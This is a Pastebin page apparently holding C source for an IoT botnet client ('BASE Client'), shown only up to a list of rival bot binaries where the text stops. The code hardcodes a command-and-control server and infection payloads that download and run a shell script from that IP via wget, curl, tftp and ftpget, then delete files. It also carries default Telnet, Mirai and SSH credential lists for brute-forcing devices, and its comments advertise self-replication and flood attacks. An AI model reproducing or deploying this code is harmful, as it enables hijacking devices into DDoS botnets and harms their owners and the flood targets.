Advertisement
ZucoCheezy

BASE-Client

Dec 1st, 2018
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 144.95 KB | None | 0 0
  1. //  BASE Client Made by Wicked
  2. //  SelfRep Goes Into telnet.txt (say thanks to Seclusion for that)
  3. //  Attacks, Ranges & Botkiller Improved by Scarface
  4. //  Decent STD Flood By Scarface
  5. //  Improved HTTP Flood By Scarface
  6. //  Binarys & Ranges Added By By Scarface
  7. //  Release date 27/3/2018 - by Scarface
  8.  
  9. #include <stdlib.h>
  10. #include <stdarg.h>
  11. #include <stdio.h>
  12. #include <sys/socket.h>
  13. #include <sys/types.h>
  14. #include <netinet/in.h>  
  15. #include <arpa/inet.h>
  16. #include <netdb.h>
  17. #include <signal.h>                                                      
  18. #include <strings.h>                                                      
  19. #include <sys/utsname.h>
  20. #include <unistd.h>
  21. #include <fcntl.h>
  22. #include <errno.h>
  23. #include <netinet/ip.h>
  24. #include <netinet/udp.h>
  25. #include <netinet/tcp.h>
  26. #include <sys/wait.h>
  27. #include <sys/ioctl.h>
  28. #include <net/if.h>
  29. #include <time.h>
  30. #include <dirent.h>
  31. #include <limits.h>
  32. #include <sys/stat.h>
  33. #include <sys/time.h>
  34. #include <string.h>
  35. #include <stdint.h>
  36. #include <stdio.h>
  37. #include <sys/param.h>
  38. #include <sys/time.h>
  39. #define VERSION "Vulcan"
  40. #define PR_SET_NAME 15
  41. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  42. #define PAD_RIGHT 1
  43. #define PAD_ZERO 2
  44. #define PRINT_BUF_LEN 12
  45. #define CMD_IAC   255
  46. #define CMD_WILL  251
  47. #define CMD_WONT  252
  48. #define CMD_DO    253
  49. #define CMD_DONT  254
  50. #define OPT_SGA   3
  51. #define STD_PIGZ 50
  52. #define SOCKBUF_SIZE 1024
  53. #define BUFFER_SIZE 1024
  54. #define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
  55. typedef uint32_t ipv4_t;
  56.  
  57. // GET BUILDS
  58. //----------------------------------------------------------------------------------------------------------------------------------------------------------------------
  59. char *getBuild() {
  60.     #if defined(__x86_64__) || defined(_M_X64)
  61.     return "x86_64";
  62.     #elif defined(__i386) || defined(_M_IX86)
  63.     return "x86_32";
  64.     #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  65.     return "ARM-4";
  66.     #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  67.     return "ARM-5"
  68.     #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  69.     return "ARM-6";
  70.     #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  71.     return "MIPS";
  72.     #elif defined(__sh__)
  73.     return "SUPERH";
  74.     #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  75.     return "POWERPC";
  76.     #else
  77.     return "UNKNOWN";
  78.     #endif
  79. }
  80. // USER AGENTS
  81. //--------------------------------------------------------------------------------------------------------------------------------------------------------------------
  82. const char *useragents[] = {
  83.     "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  84.     "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  85.     "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  86.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  87.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  88.     "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  89.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  90.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  91.     "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  92.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  93.     "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  94.     "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  95.     "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  96.     "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  97.     "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  98.     "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  99.     "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  100.     "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  101.     "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  102.     "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15",
  103.     "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  104.     "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  105.     "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  106.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  107.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  108.     "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  109.     "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  110.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  111.     "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  112.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  113.     "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  114.     "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  115.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  116.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  117.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  118.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  119.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  120.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  121.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  122.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  123.     "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  124.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  125.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  126.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  127.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  128.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  129.     "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  130.     "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  131.     "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  132.     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  133.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  134.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  135.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  136.     "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  137.     "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  138.     "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  139.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  140.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  141.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  142.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  143.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  144.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  145.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  146.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  147.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  148.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0",
  149.     "PSP (PlayStation Portable); 2.00",
  150.     "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  151.     "Doris/1.15 [en] (Symbian)",
  152.     "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  153.     "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  154.     "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  155.     "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  156.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  157.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  158.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  159.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  160.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  161.     "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  162.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  163.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  164.     "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  165.     "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  166.     "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  167.     "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  168.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)",
  169.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)",
  170.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)",
  171.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  172.     "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
  173.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  174.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0",
  175.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)",
  176.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  177.     "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  178.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  179.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  180.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01",
  181.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  182.     "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  183.     "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  184.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  185.     "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  186.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  187.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  188.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  189.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  190.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
  191. };
  192. struct telstate_t {
  193.         int fd;
  194.         uint32_t ipz;
  195.         unsigned int ip;
  196.         unsigned char state;
  197.         unsigned char complete;
  198.         unsigned char usernameInd;
  199.         unsigned char passwordInd;
  200.         unsigned char tempDirInd;
  201. uint32_t totalTimeout;
  202.         unsigned int tTimeout;
  203.         unsigned short bufUsed;
  204.         char *sockbuf;
  205. };
  206. int initConnection();
  207. void makeRandomStr(unsigned char *buf, int length);
  208. int sockprintf(int sock, char *formatStr, ...);
  209. char *inet_ntoa(struct in_addr in);
  210. int mainCommSock = 0, currentServer = -1;
  211. uint32_t *pids;
  212. uint32_t scanPid;
  213. uint32_t bcmPid;
  214. uint32_t testmiraiPid;
  215. uint32_t testtelnetPid;
  216. uint32_t scanPid;
  217. uint32_t miraiPid;
  218. uint32_t Phonepid;
  219. uint64_t numpids = 0;
  220. struct in_addr ourIP;
  221. unsigned char macAddress[6] = {0};
  222. // CONFIG
  223. //--------------------------------------------------------------------------------------------------------------------------------------------------------------------
  224. unsigned char *commServer[] = { "94.177.230.28:812" };
  225. char* phone[] = {":", "ogin", "sername", "assword", "Linux", "9615-cdp", (char*)0};
  226. char *Busybox_Payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.177.230.28/bins.sh; curl -O http://94.177.230.28/bins.sh; /bin/busybox wget http://94.177.230.2/bin.sh; /bin/busybox tftp 94.177.230.28 -c get tftp1.sh; chmod 777 bins.sh; sh bins.sh; tftp 94.177.230.28 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp1.sh -g 94.177.230.28; chmod 777 tftp1.sh; sh tftp1.sh; ftpget -v -u anonymous -p anonymous -P 21 94.177.230.28 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp1.sh ftp1.sh; rm -rf *\r\n"; //Telnet Scanner Must implement Busybox.
  227. char *Payload = "cd /tmp; rm -rf *; cd /tmp/; wget http://94.177.230.28/bins.sh; sh bins.sh; rm -rf bins.sh; cd /tmp/; wget http://94.177.230.28/bins.sh; sh bins.sh; rm -rf bins.sh"; //Normal Payload Without busybox Implemented.
  228. char *phonepayload = "cd /tmp; rm -rf *; cd /tmp/; wget http://94.177.230.28/bins.sh; sh bins.sh; rm -rf bins.sh; cd /tmp/; wget http://94.177.230.28/bins.sh; sh bins.sh; rm -rf bins.sh\r\n";
  229. char *Telnet_Usernames[] = {
  230.     "telnet\0", //telnet:telnet
  231.     "root\0", //root:
  232.     "root\0", //root:1234
  233.     "admin\0", //admin:admin
  234.     "admin\0", //admin:
  235.     "admin\0", //admin:password
  236.     "user\0", //user:user
  237. };
  238. char *Telnet_Passwords[] = {
  239.     "telnet\0", //telnet:telnet
  240.     "\0", //root:
  241.     "1234\0", //root:1234
  242.     "admin\0", //admin:admin
  243.     "\0", //admin:
  244.     "password\0", //admin:
  245.     "user\0", //user:user
  246. };
  247. char *Mirai_Usernames[] = {
  248. "telnet\0", //mother:fucker
  249. "root\0", //root:xc3511
  250. "root\0", //root:vizxv
  251. "root\0", //root:admin
  252. "admin\0", //admin:admin
  253.  
  254. "root\0", //root:888888
  255. "root\0", //root:xmhdipc
  256. "root\0", //root:default
  257. "root\0", //root:juantech
  258.  
  259. "root\0", //root:123456
  260. "root\0", //root:54321
  261. "support\0", //support:support
  262. "root\0", //root:(none)
  263.  
  264. "admin\0", //admin:password
  265. "root\0", //root:root
  266. "root\0", //root:12345
  267. "user\0", //user:user
  268.  
  269. "admin\0", //admin:(none)
  270. "root\0", //root:pass
  271. "admin\0", //admin:admin1234
  272. "root\0", //root:1111
  273.  
  274. "admin\0", //admin:smcadmin
  275. "admin\0", //admin:1111
  276. "root\0", //root:666666
  277. "root\0", //root:password
  278.  
  279. "root\0", //root:1234
  280. "root\0", //root:klv123
  281. "Administrator\0", //Administrator:admin
  282. "service\0", //service:service
  283.  
  284. "supervisor\0", //supervisor:supervisor
  285. "guest\0", //guest:guest
  286. "guest\0", //guest:12345
  287. "guest\0", //guest:12345
  288.  
  289. "admin1\0", //admin1:password
  290. "administrator\0", //administrator:1234
  291. "666666\0", //666666:666666
  292. "888888\0", //888888:888888
  293. "ubnt\0", //ubnt:ubnt
  294.  
  295. "klv1234\0", //root:klv1234
  296. "Zte521\0", //root:Zte521
  297. "hi3518\0", //root:hi3518
  298. "jvbzd\0", //root:jvbzd
  299.  
  300. "anko\0", //root:anko
  301. "zlxx\0", //root:zlxx
  302. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  303. "7ujMko0admin\0", //root:7ujMko0admin
  304.  
  305. "system\0", //root:system
  306. "ikwb\0", //root:ikwb
  307. "dreambox\0", //root:dreambox
  308. "user\0", //root:user
  309.  
  310. "realtek\0", //root:realtek
  311. "00000000\0", //root:00000000
  312. "1111111\0", //admin:1111111
  313. "1234\0", //admin:1234
  314.  
  315. "12345\0", //admin:12345
  316. "54321\0", //admin:54321
  317. "123456\0", //admin:123456
  318. "7ujMko0admin\0", //admin:7ujMko0admin
  319.  
  320. "1234\0", //admin:1234
  321. "pass\0", //admin:pass
  322. "meinsm\0", //admin:meinsm
  323. "tech\0", //tech:tech
  324.  
  325. "fucker\0", //mother:fucker
  326. };
  327. char *Mirai_Passwords[] = {
  328. "telnet\0", //mother:fucker
  329. "xc3511\0", //root:xc3511
  330. "vizxv\0", //root:vizxv
  331. "admin\0", //root:admin
  332. "admin\0", //admin:admin
  333.  
  334. "888888\0", //root:888888
  335. "xmhdipc\0", //root:xmhdipc
  336. "default\0", //root:default
  337. "juantech\0", //root:juantech
  338.  
  339. "123456\0", //root:123456
  340. "54321\0", //root:54321
  341. "support\0", //support:support
  342. "\0", //root:(none)
  343.  
  344. "password\0", //admin:password
  345. "root\0", //root:root
  346. "12345\0", //root:12345
  347. "user\0", //user:user
  348.  
  349. "\0", //admin:(none)
  350. "pass\0", //root:pass
  351. "admin1234\0", //admin:admin1234
  352. "1111\0", //root:1111
  353.  
  354. "smcadmin\0", //admin:smcadmin
  355. "1111\0", //admin:1111
  356. "666666\0", //root:666666
  357. "password\0", //root:password
  358.  
  359. "1234\0", //root:1234
  360. "klv123\0", //root:klv123
  361. "admin\0", //Administrator:admin
  362. "service\0", //service:service
  363.  
  364. "supervisor\0", //supervisor:supervisor
  365. "guest\0", //guest:guest
  366. "12345\0", //guest:12345
  367. "12345\0", //guest:12345
  368.  
  369. "password\0", //admin1:password
  370. "1234\0", //administrator:1234
  371. "666666\0", //666666:666666
  372. "888888\0", //888888:888888
  373. "ubnt\0", //ubnt:ubnt
  374.  
  375. "klv1234\0", //root:klv1234
  376. "Zte521\0", //root:Zte521
  377. "hi3518\0", //root:hi3518
  378. "jvbzd\0", //root:jvbzd
  379.  
  380. "anko\0", //root:anko
  381. "zlxx\0", //root:zlxx
  382. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  383. "7ujMko0admin\0", //root:7ujMko0admin
  384.  
  385. "system\0", //root:system
  386. "ikwb\0", //root:ikwb
  387. "dreambox\0", //root:dreambox
  388. "user\0", //root:user
  389.  
  390. "realtek\0", //root:realtek
  391. "00000000\0", //root:00000000
  392. "1111111\0", //admin:1111111
  393. "1234\0", //admin:1234
  394.  
  395. "12345\0", //admin:12345
  396. "54321\0", //admin:54321
  397. "123456\0", //admin:123456
  398. "7ujMko0admin\0", //admin:7ujMko0admin
  399.  
  400. "1234\0", //admin:1234
  401. "pass\0", //admin:pass
  402. "meinsm\0", //admin:meinsm
  403. "tech\0", //tech:tech
  404.  
  405. "fucker\0", //mother:fucker
  406. };
  407. char *SSH_Usernames[] = {
  408.     "root\0", //root:root
  409.     "admin\0", //admin:admin
  410.     "root\0", //root:admin
  411.     "admin\0", //admin:1234
  412.     "ubnt\0", //ubnt:ubnt
  413.     "user\0", //user:user
  414.     "ususario\0", //usuario:ususario
  415.     "telnet\0", //telnet:telnet
  416.     "support\0", //support:support
  417. };
  418. char *SSH_Passwords[] = {
  419.     "root\0", //root:root
  420.     "admin\0", //admin:admin
  421.     "admin\0", //root:admin
  422.     "1234\0", //admin:1234
  423.     "ubnt\0", //ubnt:ubnt
  424.     "user\0", //user:user
  425.     "ususario\0", //usuario:ususario
  426.     "telnet\0", //telnet:telnet
  427.     "support\0", //support:support
  428. };
  429. char *Bot_Killer_Binarys[] = {
  430.     "amsjkfbns",
  431.     "mips",
  432.     "xdf.mips",
  433.     "xdf.*",
  434.     "xdf*",
  435.     "xdf.mipsel",
  436.     "xdf.x86_64",
  437.     "xdf.arm7",
  438.     "xdf.ppc",
  439.     "xdf.sh4",
  440.     "mipsel",
  441.     "sh4",
  442.     "x86",
  443.     "i686",
  444.     "ppc",
  445.     "i586",
  446.     "jack*",
  447.     "hack*",
  448.     "arm*"
  449.     "tel*"
  450.     "b1",
  451.     "b2",
  452.     "b3",
  453.     "b4",
  454.     "b5",
  455.     "b6",
  456.     "b7",
  457.     "b8",
  458.     "b9",
  459.     "wget",
  460.     "orion",
  461.     "lol*",
  462.     "busybox*",
  463.     "badbox*",
  464.     "DFhxdhdf",
  465.     "dvrHelper",
  466.     "FDFDHFC",
  467.     "FEUB",
  468.     "FTUdftui",
  469.     "GHfjfgvj",
  470.     "jhUOH",
  471.     "JIPJIPJj",
  472.     "JIPJuipjh",
  473.     "kmyx86_64",
  474.     "lolmipsel",
  475.     "mips",
  476.     "mipsel",
  477.     "RYrydry",
  478.     "TwoFace*",
  479.     "UYyuyioy",
  480.     "x86_64",
  481.     "XDzdfxzf",
  482.     "xx*",
  483.     "sh",
  484.     "1",
  485.     "2",
  486.     "3",
  487.     "4",
  488.     "5",
  489.     "6",
  490.     "7",
  491.     "8",
  492.     "9",
  493.     "10",
  494.     "11",
  495.     "12",
  496.     "13",
  497.     "14",
  498.     "15",
  499.     "16",
  500.     "17",
  501.     "18",
  502.     "19",
  503.     "20",
  504.     "busybox",
  505.     "badbox",
  506.     "Mirai*",
  507.     "mirai*",
  508.     "cunty*"
  509.     "IoT*",
  510.     "mips",
  511.     "mips64",
  512.     "mipsel",
  513.     "sh2eb",
  514.     "sh2elf",
  515.     "sh4",
  516.     "x86",
  517.     "arm",
  518.     "armv5",
  519.     "armv4tl",
  520.     "armv4",
  521.     "armv6",
  522.     "i686",
  523.     "powerpc",
  524.     "powerpc440fp",
  525.     "i586",
  526.     "m68k",
  527.     "sparc",
  528.     "x86_64",
  529.     "jackmymips",
  530.     "jackmymips64",
  531.     "jackmymipsel",
  532.     "jackmysh2eb",
  533.     "jackmysh2elf",
  534.     "jackmysh4",
  535.     "jackmyx86",
  536.     "jackmyarmv5",
  537.     "jackmyarmv4tl",
  538.     "jackmyarmv4",
  539.     "jackmyarmv6",
  540.     "jackmyi686",
  541.     "jackmypowerpc",
  542.     "jackmypowerpc440fp",
  543.     "jackmyi586",
  544.     "jackmym68k",
  545.     "jackmysparc",
  546.     "jackmyx86_64",
  547.     "hackmymips",
  548.     "hackmymips64",
  549.     "hackmymipsel",
  550.     "hackmysh2eb",
  551.     "hackmysh2elf",
  552.     "hackmysh4",
  553.     "hackmyx86",
  554.     "hackmyarmv5",
  555.     "hackmyarmv4tl",
  556.     "hackmyarmv4",
  557.     "hackmyarmv6",
  558.     "hackmyi686",
  559.     "hackmypowerpc",
  560.     "hackmypowerpc440fp",
  561.     "hackmyi586",
  562.     "hackmym68k",
  563.     "hackmysparc",
  564.     "hackmyx86_64",
  565.     "b1",
  566.     "b2",
  567.     "b3",
  568.     "b4",
  569.     "b5",
  570.     "b6",
  571.     "b7",
  572.     "b8",
  573.     "b9",
  574.     "b10",
  575.     "b11",
  576.     "b12",
  577.     "b13",
  578.     "b14",
  579.     "b15",
  580.     "b16",
  581.     "b17",
  582.     "b18",
  583.     "b19",
  584.     "b20",
  585.     "busyboxterrorist",
  586.     "DFhxdhdf",
  587.     "dvrHelper",
  588.     "FDFDHFC",
  589.     "FEUB",
  590.     "FTUdftui",
  591.     "GHfjfgvj",
  592.     "jhUOH",
  593.     "JIPJIPJj",
  594.     "JIPJuipjh",
  595.     "kmymips",
  596.     "kmymips64",
  597.     "kmymipsel",
  598.     "kmysh2eb",
  599.     "kmysh2elf",
  600.     "kmysh4",
  601.     "kmyx86",
  602.     "kmyarmv5",
  603.     "kmyarmv4tl",
  604.     "kmyarmv4",
  605.     "kmyarmv6",
  606.     "kmyi686",
  607.     "kmypowerpc",
  608.     "kmypowerpc440fp",
  609.     "kmyi586",
  610.     "kmym68k",
  611.     "kmysparc",
  612.     "kmyx86_64",
  613.     "lolmips",
  614.     "lolmips64",
  615.     "lolmipsel",
  616.     "lolsh2eb",
  617.     "lolsh2elf",
  618.     "lolsh4",
  619.     "lolx86",
  620.     "lolarmv5",
  621.     "lolarmv4tl",
  622.     "lolarmv4",
  623.     "lolarmv6",
  624.     "loli686",
  625.     "mirai.linux",
  626.     "mirai.mips",
